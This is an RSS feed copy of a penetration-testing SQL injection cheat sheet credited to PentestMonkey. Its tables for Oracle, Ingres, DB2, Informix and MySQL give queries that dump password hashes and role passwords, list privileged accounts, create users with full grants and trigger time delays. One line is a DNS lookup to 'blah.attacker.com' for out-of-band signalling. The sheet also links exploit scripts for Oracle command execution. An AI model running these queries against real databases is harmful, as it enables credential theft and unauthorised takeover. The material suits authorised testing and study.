&lt;td&gt;BEGIN IF 1=1 THEN dbms_lock.sleep(3); ELSE  dbms_lock.sleep(0); END IF; END; -- doesn&#039;t play well with SELECT  statements &lt;br /&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Case Statement&lt;/td&gt;
&lt;td&gt;SELECT CASE WHEN  1=1 THEN 1 ELSE 2 END FROM dual; -- returns 1&lt;br /&gt;SELECT CASE WHEN 1=2  THEN 1 ELSE 2 END FROM dual; -- returns 2&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Avoiding  Quotes &lt;br /&gt;&lt;/td&gt;
&lt;td&gt;SELECT chr(65) || chr(66) FROM dual; -- returns AB &lt;br /&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Time  Delay&amp;#160; &lt;br /&gt;&lt;/td&gt;
&lt;td&gt;BEGIN DBMS_LOCK.SLEEP(5); END; -- priv, can&#039;t seem  to embed this in a SELECT&lt;br /&gt;SELECT UTL_INADDR.get_host_name(&#039;10.0.0.1&#039;)  FROM dual; -- if reverse looks are slow&lt;br /&gt;SELECT  UTL_INADDR.get_host_address(&#039;blah.attacker.com&#039;) FROM dual; -- if  forward lookups are slow&lt;br /&gt;SELECT UTL_HTTP.REQUEST(&#039;http://google.com&#039;)  FROM dual; -- if outbound TCP is filtered / slow&lt;br /&gt;-- Also see &lt;a href=&quot;http://technet.microsoft.com/en-us/library/cc512676.aspx&quot;&gt;Heavy  Queries&lt;/a&gt; to create a time delay&lt;br /&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Make DNS  Requests&lt;/td&gt;
&lt;td&gt;SELECT UTL_INADDR.get_host_address(&#039;google.com&#039;) FROM  dual;&lt;br /&gt;SELECT UTL_HTTP.REQUEST(&#039;http://google.com&#039;) FROM dual;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Command  Execution&lt;/td&gt;
&lt;td&gt;
&lt;p&gt;&lt;a href=&quot;http://www.0xdeadbeef.info/exploits/raptor_oraexec.sql&quot;&gt;Java&lt;/a&gt; can be used to execute commands if it&#039;s installed.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;http://www.0xdeadbeef.info/exploits/raptor_oraextproc.sql&quot;&gt;ExtProc&lt;/a&gt; can sometimes be used too, though it normally failed for me. :-(&lt;/p&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Local  File Access&lt;br /&gt;&lt;/td&gt;
&lt;td&gt;
&lt;p&gt;&lt;a href=&quot;http://www.0xdeadbeef.info/exploits/raptor_oraexec.sql&quot;&gt;UTL_FILE&lt;/a&gt; can sometimes be used.&amp;#160; Check that the following is non-null:&lt;br /&gt;SELECT  value FROM v$parameter2 WHERE name = &#039;utl_file_dir&#039;;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;http://www.0xdeadbeef.info/exploits/raptor_oraexec.sql&quot;&gt;Java&lt;/a&gt; can be used to read and write files if it&#039;s installed (it is not  available in Oracle Express).&lt;/p&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Hostname, IP Address&lt;/td&gt;
&lt;td&gt;SELECT UTL_INADDR.get_host_name FROM dual;&lt;br /&gt;SELECT host_name FROM  v$instance;&lt;br /&gt;SELECT UTL_INADDR.get_host_address FROM dual; -- gets IP  address&lt;br /&gt;SELECT UTL_INADDR.get_host_name(&#039;10.0.0.1&#039;) FROM dual; --  gets hostnames&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Location of DB files&lt;br /&gt;&lt;/td&gt;
&lt;td&gt;SELECT  name FROM V$DATAFILE;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Default/System Databases&lt;br /&gt;&lt;/td&gt;
&lt;td&gt;SYSTEM&lt;br /&gt;SYSAUX&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;br /&gt;Ingres:&lt;/p&gt;
&lt;table border=&quot;1&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Version&lt;br /&gt;&lt;/td&gt;
&lt;td&gt;select  dbmsinfo(&#039;_version&#039;);&lt;br /&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Comments&lt;/td&gt;
&lt;td&gt;SELECT 123;  -- comment&lt;br /&gt; select 123; /* comment */&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Current User  &lt;br /&gt;&lt;/td&gt;
&lt;td&gt;select dbmsinfo(&#039;session_user&#039;);&lt;br /&gt;select  dbmsinfo(&#039;system_user&#039;);&lt;br /&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;List Users&lt;/td&gt;
&lt;td&gt;First  connect to iidbdb, then:&lt;br /&gt;select name, password from iiuser; &lt;br /&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Create  Users&lt;br /&gt;&lt;/td&gt;
&lt;td&gt;create user testuser with password = &#039;testuser&#039;;--  priv&lt;br /&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;List Password Hashes&lt;br /&gt;&lt;/td&gt;
&lt;td&gt;First connect  to iidbdb, then:&lt;br /&gt;select name, password from iiuser; &lt;br /&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;List  Privileges&lt;/td&gt;
&lt;td&gt;select dbmsinfo(&#039;db_admin&#039;);&lt;br /&gt;select  dbmsinfo(&#039;create_table&#039;);&lt;br /&gt;select dbmsinfo(&#039;create_procedure&#039;);&lt;br /&gt;select  dbmsinfo(&#039;security_priv&#039;);&lt;br /&gt;select dbmsinfo(&#039;select_syscat&#039;);&lt;br /&gt;select  dbmsinfo(&#039;db_privileges&#039;);&lt;br /&gt;select dbmsinfo(&#039;current_priv_mask&#039;);&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Current Database&lt;/td&gt;
&lt;td&gt;select  dbmsinfo(&#039;database&#039;);&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;List  Columns &lt;br /&gt;&lt;/td&gt;
&lt;td&gt;select column_name, column_datatype, table_name,  table_owner from iicolumns;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;List Tables&lt;/td&gt;
&lt;td&gt;select  table_name, table_owner from iitables;&lt;br /&gt;select relid, relowner,  relloc from iirelation;&lt;br /&gt;select relid, relowner, relloc from  iirelation where relowner != &#039;$ingres&#039;; &lt;br /&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Select Nth Row&lt;/td&gt;
&lt;td&gt;
&lt;p&gt;Astoundingly,  this &lt;a href=&quot;http://community.ingres.com/forums/viewtopic.php?p=6050&quot;&gt;doesn&#039;t&lt;/a&gt; seem to be possible!&amp;#160; This is as close as you can get:&lt;/p&gt;
&lt;p&gt;select top  10 blah from table;&lt;br /&gt;select first 10 blah form table;&lt;/p&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Select  Nth Char  &lt;br /&gt;&lt;/td&gt;
&lt;td&gt;select substr(&#039;abc&#039;, 2, 1); -- returns &#039;b&#039;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Bitwise  AND&amp;#160; &lt;br /&gt;&lt;/td&gt;
&lt;td&gt;
&lt;p&gt;The function &quot;bit_and&quot; exists, but seems hard to  use.&amp;#160; Here&#039;s an&lt;br /&gt;example of ANDing 3 and 5 together.&amp;#160; The result is a  &quot;byte&quot; type&lt;br /&gt;with value \001:&lt;/p&gt;
&lt;p&gt;select substr(bit_and(cast(3 as  byte), cast(5 as byte)),1,1);&lt;/p&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Casting&lt;/td&gt;
&lt;td&gt;select  cast(123 as varchar);&lt;br /&gt;select cast(&#039;123&#039; as integer);&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;String  Concatenation&lt;/td&gt;
&lt;td&gt;select &#039;abc&#039; || &#039;def&#039;;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Time Delay&amp;#160; &lt;br /&gt;&lt;/td&gt;
&lt;td&gt;
&lt;p&gt;???&lt;/p&gt;
&lt;p&gt;See  &lt;a href=&quot;http://www.microsoft.com/technet/community/columns/secmvp/sv0907.mspx&quot;&gt;Heavy  Queries&lt;/a&gt; article for some ideas.&lt;/p&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Installing Locally&lt;br /&gt;&lt;/td&gt;
&lt;td&gt;The  Ingres database can be downloaded for free from &lt;a href=&quot;http://esd.ingres.com/&quot;&gt;http://esd.ingres.com/&lt;/a&gt;&lt;br /&gt;A pre-built  Linux-based Ingres Database Server can be download from &lt;a href=&quot;http://www.vmware.com/appliances/directory/832&quot;&gt;http://www.vmware.com/appliances/directory/832&lt;/a&gt;&lt;br /&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Database  Client&lt;br /&gt;&lt;/td&gt;
&lt;td&gt;TODO&lt;br /&gt;There is a client called &quot;sql&quot; which can be  used for local connections (at least) in the&amp;#160; database server package  above.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Logging in from command line&lt;br /&gt;&lt;/td&gt;
&lt;td&gt;$ su  -&amp;#160; ingres&lt;br /&gt;$ sql iidbdb&lt;br /&gt;* select dbmsinfo(&#039;_version&#039;); \go&lt;br /&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;br /&gt;The  following areas are interesting enough to include on this page, but I  haven&#039;t researched them for other databases:&lt;/p&gt;
&lt;table border=&quot;1&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Description&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;SQL  / Comments &lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Batching Queries Allowed?&lt;br /&gt;&lt;/td&gt;
&lt;td&gt;
&lt;p&gt;Not  via DBI in PERL.&amp;#160; Subsequent statements seem to get ignored:&lt;br /&gt;select  blah from table where foo = 1; select ... doesn&#039;t matter this is  ignored.&lt;/p&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;FROM clause mandated in SELECTs?&lt;/td&gt;
&lt;td&gt;
&lt;p&gt;No.&amp;#160;  You don&#039;t need to select form &quot;dual&quot; or anything.&amp;#160; The following is  legal:&lt;br /&gt;select 1;&lt;/p&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;UNION supported&lt;br /&gt;&lt;/td&gt;
&lt;td&gt;
&lt;p&gt;Yes.&amp;#160;  Nothing tricky here.&amp;#160; The following is legal:&lt;br /&gt;select 1 union select  2;&lt;/p&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Enumerate Tables Privs&lt;br /&gt;&lt;/td&gt;
&lt;td&gt;select  table_name, permit_user, permit_type from iiaccess;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Length  of a string&lt;/td&gt;
&lt;td&gt;select length(&#039;abc&#039;); -- returns 3&lt;br /&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Roles  and passwords&lt;br /&gt;&lt;/td&gt;
&lt;td&gt;
&lt;p&gt;First you need to connect to iidbdb, then:  &lt;br /&gt;select roleid, rolepass from iirole;&lt;/p&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;List  Database Procedures&lt;br /&gt;&lt;/td&gt;
&lt;td&gt;
&lt;p&gt;First you need to connect to iidbdb,  then:&lt;br /&gt;select dbp_name,&amp;#160; dbp_owner from iiprocedure;&lt;/p&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Create  Users + Granting Privs&lt;/td&gt;
&lt;td&gt;
&lt;p&gt;First you need to connect to iidbdb,  then:&lt;br /&gt;create user pm with password = &#039;password&#039;;&lt;br /&gt;grant all on  current installation to pm;&lt;/p&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;br /&gt;DB2:&lt;/p&gt;
&lt;table border=&quot;1&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Version&lt;br /&gt;&lt;/td&gt;
&lt;td&gt;select versionnumber, version_timestamp from  sysibm.sysversions;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Comments&lt;/td&gt;
&lt;td&gt;select blah from  foo; -- comment like this&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Current User &lt;br /&gt;&lt;/td&gt;
&lt;td&gt;select  user from sysibm.sysdummy1;&lt;br /&gt;select session_user from  sysibm.sysdummy1;&lt;br /&gt;select system_user from sysibm.sysdummy1;&lt;br /&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;List  Users&lt;/td&gt;
&lt;td&gt;
&lt;p&gt;N/A (I think DB2 uses OS-level user accounts for  authentication.)&lt;/p&gt;
&lt;p&gt;Database authorities (like roles, I think) can  be listed like this:&lt;br /&gt;select grantee from syscat.dbauth;&lt;/p&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;List  Password Hashes&lt;br /&gt;&lt;/td&gt;
&lt;td&gt;N/A (I think DB2 uses OS-level user  accounts for authentication.)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;List Privileges&lt;/td&gt;
&lt;td&gt;select  * from syscat.tabauth; -- privs on tables&lt;br /&gt;select * from  syscat.dbauth where grantee = current user;&lt;br /&gt;select * from  syscat.tabauth where grantee = current user;&lt;br /&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Current Database&lt;/td&gt;
&lt;td&gt;select  current server from sysibm.sysdummy1;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;List Databases&lt;/td&gt;
&lt;td&gt;SELECT  schemaname FROM syscat.schemata;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;List Columns &lt;br /&gt;&lt;/td&gt;
&lt;td&gt;select  name, tbname, coltype from sysibm.syscolumns;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;List  Tables&lt;/td&gt;
&lt;td&gt;select name from sysibm.systables;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Select Nth Row&lt;/td&gt;
&lt;td&gt;select  name from (SELECT name FROM sysibm.systables order by &lt;br /&gt; name fetch  first N+M-1 rows only) sq order by name desc fetch first N rows only;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Select  Nth Char  &lt;br /&gt;&lt;/td&gt;
&lt;td&gt;SELECT SUBSTR(&#039;abc&#039;,2,1) FROM sysibm.sysdummy1;&amp;#160;  -- returns b&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Bitwise AND&amp;#160; &lt;br /&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;http://www.tar.hu/sqlbible/sqlbible0084.html&quot;&gt;This page&lt;/a&gt; seems  to indicate that DB2 has no support for bitwise operators!&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;p&gt;ASCII  Value -&amp;gt; Char&lt;/p&gt;
&lt;/td&gt;
&lt;td&gt;select chr(65) from sysibm.sysdummy1; --  returns &#039;A&#039;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Char -&amp;gt; ASCII Value&lt;/td&gt;
&lt;td&gt;select  ascii(&#039;A&#039;) from sysibm.sysdummy1; -- returns 65&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Casting&lt;/td&gt;
&lt;td&gt;SELECT  cast(&#039;123&#039; as integer) FROM sysibm.sysdummy1;&lt;br /&gt;SELECT cast(1 as char)  FROM sysibm.sysdummy1;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;String Concatenation&lt;/td&gt;
&lt;td&gt;SELECT  &#039;a&#039; concat &#039;b&#039; concat &#039;c&#039; FROM sysibm.sysdummy1; -- returns &#039;abc&#039;&lt;br /&gt;select  &#039;a&#039; || &#039;b&#039; from sysibm.sysdummy1; -- returns &#039;ab&#039;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;br /&gt;Informix:&lt;/p&gt;
&lt;table border=&quot;1&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Version&lt;br /&gt;&lt;/td&gt;
&lt;td&gt;SELECT DBINFO(&#039;version&#039;, &#039;full&#039;) FROM  systables WHERE tabid = 1;&lt;br /&gt;SELECT DBINFO(&#039;version&#039;, &#039;server-type&#039;)  FROM systables WHERE tabid = 1;&lt;br /&gt;SELECT DBINFO(&#039;version&#039;, &#039;major&#039;),  DBINFO(&#039;version&#039;, &#039;minor&#039;), DBINFO(&#039;version&#039;, &#039;level&#039;) FROM systables  WHERE tabid = 1;&lt;br /&gt;SELECT DBINFO(&#039;version&#039;, &#039;os&#039;) FROM systables WHERE  tabid = 1; -- T=Windows, U=32 bit app on 32-bit Unix, H=32-bit app  running on 64-bit Unix, F=64-bit app running on 64-bit unix&lt;br /&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Comments&lt;/td&gt;
&lt;td&gt;select  1 FROM systables WHERE tabid = 1; -- comment&lt;br /&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Current  User &lt;br /&gt;&lt;/td&gt;
&lt;td&gt;
&lt;p&gt;SELECT USER FROM systables WHERE tabid = 1;&lt;br /&gt;select  CURRENT_ROLE FROM systables WHERE tabid = 1;&lt;/p&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;List  Users&lt;/td&gt;
&lt;td&gt;select username, usertype, password from sysusers;&lt;br /&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;List Privileges&lt;/td&gt;
&lt;td&gt;select  tabname, grantor, grantee, tabauth FROM systabauth join systables on  systables.tabid = systabauth.tabid; -- which tables are accessible by  which users&lt;br /&gt;select procname, owner, grantor, grantee from sysprocauth  join sysprocedures on sysprocauth.procid = sysprocedures.procid; --  which procedures are accessible by which users&lt;br /&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Current Database&lt;/td&gt;
&lt;td&gt;SELECT  DBSERVERNAME FROM systables where tabid = 1; -- server name&lt;br /&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;List  Databases&lt;/td&gt;
&lt;td&gt;select name, owner from sysdatabases;&lt;br /&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;List  Columns &lt;br /&gt;&lt;/td&gt;
&lt;td&gt;select tabname, colname, owner, coltype FROM  syscolumns join systables on syscolumns.tabid = systables.tabid;&lt;br /&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;List  Tables&lt;/td&gt;
&lt;td&gt;select tabname, owner FROM systables;&lt;br /&gt;select  tabname, viewtext FROM sysviews&amp;#160; join systables on systables.tabid =  sysviews.tabid;&lt;br /&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;List Stored Procedures&lt;br /&gt;&lt;/td&gt;
&lt;td&gt;select  procname, owner FROM sysprocedures;&lt;br /&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Find Tables  From Column Name&lt;/td&gt;
&lt;td&gt;select tabname, colname, owner, coltype FROM  syscolumns join systables on syscolumns.tabid = systables.tabid where  colname like &#039;%pass%&#039;;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Select Nth Row&lt;/td&gt;
&lt;td&gt;select  first 1 tabid from (select first 10 tabid from systables order by tabid)  as sq order by tabid desc; -- selects the 10th row&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Select  Nth Char  &lt;br /&gt;&lt;/td&gt;
&lt;td&gt;SELECT SUBSTRING(&#039;ABCD&#039; FROM 3 FOR 1) FROM  systables where tabid = 1; -- returns &#039;C&#039;&lt;br /&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Bitwise  AND&amp;#160; &lt;br /&gt;&lt;/td&gt;
&lt;td&gt;select bitand(6, 1) from systables where tabid = 1; --  returns 0&lt;br /&gt;select bitand(6, 2) from systables where tabid = 1; --  returns 2&lt;br /&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Char  -&amp;gt; ASCII Value&lt;/td&gt;
&lt;td&gt;select ascii(&#039;A&#039;) from systables where tabid =  1;&lt;br /&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Casting&lt;/td&gt;
&lt;td&gt;select cast(&#039;123&#039; as integer)  from systables where tabid = 1;&lt;br /&gt;select cast(1 as char) from systables  where tabid = 1;&lt;br /&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;String Concatenation&lt;/td&gt;
&lt;td&gt;SELECT  &#039;A&#039; || &#039;B&#039; FROM systables where tabid = 1; -- returns &#039;AB&#039;&lt;br /&gt;SELECT  concat(&#039;A&#039;, &#039;B&#039;) FROM systables where tabid = 1; -- returns &#039;AB&#039;&lt;br /&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;String  Length&lt;br /&gt;&lt;/td&gt;
&lt;td&gt;SELECT tabname, length(tabname),  char_length(tabname), octet_length(tabname) from systables;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Case Statement&lt;/td&gt;
&lt;td&gt;select  tabid, case when tabid&amp;gt;10 then &quot;High&quot; else &#039;Low&#039; end from systables;&lt;br /&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Hostname, IP Address&lt;/td&gt;
&lt;td&gt;SELECT  DBINFO(&#039;dbhostname&#039;) FROM systables WHERE tabid = 1; -- hostname&lt;br /&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Default/System  Databases&lt;br /&gt;&lt;/td&gt;
&lt;td&gt;These are the system databases:&lt;br /&gt;sysmaster&lt;br /&gt;sysadmin*&lt;br /&gt;sysuser*&lt;br /&gt;sysutils*&lt;br /&gt;&lt;br /&gt;*  = don&#039;t seem to contain anything / don&#039;t allow reading&lt;br /&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Installing  Locally&lt;br /&gt;&lt;/td&gt;
&lt;td&gt;
&lt;p&gt;You can download &lt;a href=&quot;http://www.ibm.com/developerworks/downloads/im/dsexp/?S_TACT=105AGX11&amp;amp;S_CMP=LP&quot;&gt;Informix  Dynamic Server Express Edition 11.5 Trial&lt;/a&gt; for Linux and Windows.&lt;/p&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Database  Client&lt;br /&gt;&lt;/td&gt;
&lt;td&gt;There&#039;s a &lt;a href=&quot;http://www14.software.ibm.com/webapp/download/search.jsp?rs=ifxdl&quot;&gt;database  client SDK&lt;/a&gt; available, but I couldn&#039;t get the demo client working.&lt;br /&gt;I  used &lt;a href=&quot;http://squirrel-sql.sourceforge.net/&quot;&gt;SQuirreL SQL Client  Version 2.6.8&lt;/a&gt; after installing the &lt;a href=&quot;http://www14.software.ibm.com/webapp/download/search.jsp?go=y&amp;amp;rs=ifxjdbc&quot;&gt;Informix  JDBC drivers&lt;/a&gt; (&quot;emerge dev-java/jdbc-informix&quot; on Gentoo).&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Logging  in from command line&lt;br /&gt;&lt;/td&gt;
&lt;td&gt;
&lt;p&gt;If you get local admin rights on a  Windows box and have a GUI logon:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Click: Start | All Programs  | IBM Informix Dynamic Server 11.50 | someservername.&amp;#160; This will give  you a command prompt with various Environment variables set properly.&lt;/li&gt;
&lt;li&gt;Run  dbaccess.exe from your command prompt.&amp;#160; This will bring up a text-based  GUI that allows you to browse databases.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The following  were set on my test system.&amp;#160; This may help if you get command line  access, but can&#039;t get a GUI - you&#039;ll need to change &quot;testservername&quot;:&lt;/p&gt;
&lt;pre&gt;set INFORMIXDIR=C:\PROGRA~1\IBM\IBMINF~1\11.50&amp;lt;br /&amp;gt;set INFORMIXSERVER=testservername&amp;lt;br /&amp;gt;set ONCONFIG=ONCONFIG.testservername&amp;lt;br /&amp;gt;set PATH=C:\PROGRA~1\IBM\IBMINF~1\11.50\bin;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\PROGRA~1\ibm\gsk7\bin;C:\PROGRA~1\ibm\gsk7\lib;C:\Program Files\IBM\Informix\Clien-SDK\bin;C:\Program Files\ibm\gsk7\bin;C:\Program Files\ibm\gsk7\lib&amp;lt;br /&amp;gt;set CLASSPATH=C:\PROGRA~1\IBM\IBMINF~1\11.50\extend\krakatoa\krakatoa.jar;C:\PROGRA~1\IBM\IBMINF~1\11.50\xtend\krakatoa\jdbc.jar;&amp;lt;br /&amp;gt;set DBTEMP=C:\PROGRA~1\IBM\IBMINF~1\11.50\infxtmp&amp;lt;br /&amp;gt;set CLIENT_LOCALE=EN_US.CP1252&amp;lt;br /&amp;gt;set DB_LOCALE=EN_US.8859-1&amp;lt;br /&amp;gt;set SERVER_LOCALE=EN_US.CP1252&amp;lt;br /&amp;gt;set DBLANG=EN_US.CP1252&amp;lt;br /&amp;gt;mode con codepage select=1252&amp;lt;br /&amp;gt;&lt;/pre&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;pre&gt;Identifying on the network&lt;/pre&gt;
&lt;/td&gt;
&lt;td&gt;
&lt;p&gt;My  default installation listened on two TCP ports: 9088 and 9099.&amp;#160; When I  created a new &quot;server name&quot;, this listened on 1526/TCP by default.&amp;#160; Nmap  4.76 didn&#039;t identify these ports as Informix:&lt;/p&gt;
&lt;p&gt;$ sudo nmap -sS -sV  10.0.0.1 -p- -v --version-all&lt;br /&gt;...&lt;br /&gt;1526/tcp open&amp;#160; pdap-np?&lt;br /&gt;9088/tcp  open&amp;#160; unknown&lt;br /&gt;9089/tcp open&amp;#160; unknown&lt;br /&gt;...&lt;br /&gt;TODO How would we  identify Informix listening on the network?&lt;/p&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&amp;#160;&lt;/p&gt;</description>
			<content:encoded><![CDATA[<p>Thanks to <a href="http://pentestmonkey.net/blog/mysql-sql-injection-cheat-sheet/">PentestMonkey.net</a> for this.<br /><br />MySQL:</p>
<table border="1">
<tbody>
<tr>
<td>Version<br /></td>
<td>SELECT @@version</td>
</tr>
<tr>
<td>Comments</td>
<td>SELECT  1; #comment<br />SELECT /*comment*/1;</td>
</tr>
<tr>
<td>Current User <br /></td>
<td>SELECT  user();<br /> SELECT system_user();<br /></td>
</tr>
<tr>
<td>List Users</td>
<td>SELECT  user FROM mysql.user; -- priv</td>
</tr>
<tr>
<td>List Password Hashes<br /></td>
<td>SELECT  host, user, password FROM mysql.user; -- priv<br /></td>
</tr>
<tr>
<td>Password  Cracker<br /></td>
<td><a href="http://www.openwall.com/john/">John the  Ripper</a> will crack MySQL password hashes.</td>
</tr>
<tr>
<td>List  Privileges</td>
<td>
<p>SELECT grantee, privilege_type, is_grantable FROM  information_schema.user_privileges; -- list user privs</p>
<p>SELECT  host, user, Select_priv, Insert_priv, Update_priv, Delete_priv,  Create_priv, Drop_priv, Reload_priv, Shutdown_priv, Process_priv,  File_priv, Grant_priv, References_priv, Index_priv, Alter_priv,  Show_db_priv, Super_priv, Create_tmp_table_priv, Lock_tables_priv,  Execute_priv, Repl_slave_priv, Repl_client_priv FROM mysql.user; --  priv, list user privs</p>
<p>SELECT grantee, table_schema, privilege_type  FROM information_schema.schema_privileges; -- list privs on databases  (schemas)</p>
<p>SELECT table_schema, table_name, column_name,  privilege_type FROM information_schema.column_privileges; -- list privs  on columns</p>
</td>
</tr>
<tr>
<td>List DBA Accounts</td>
<td>
<p>SELECT  grantee, privilege_type, is_grantable FROM  information_schema.user_privileges WHERE privilege_type = 'SUPER';</p>
<p>SELECT host, user FROM mysql.user WHERE Super_priv = 'Y'; # priv</p>
</td>
</tr>
<tr>
<td>Current  Database</td>
<td>SELECT database()</td>
</tr>
<tr>
<td>List Databases</td>
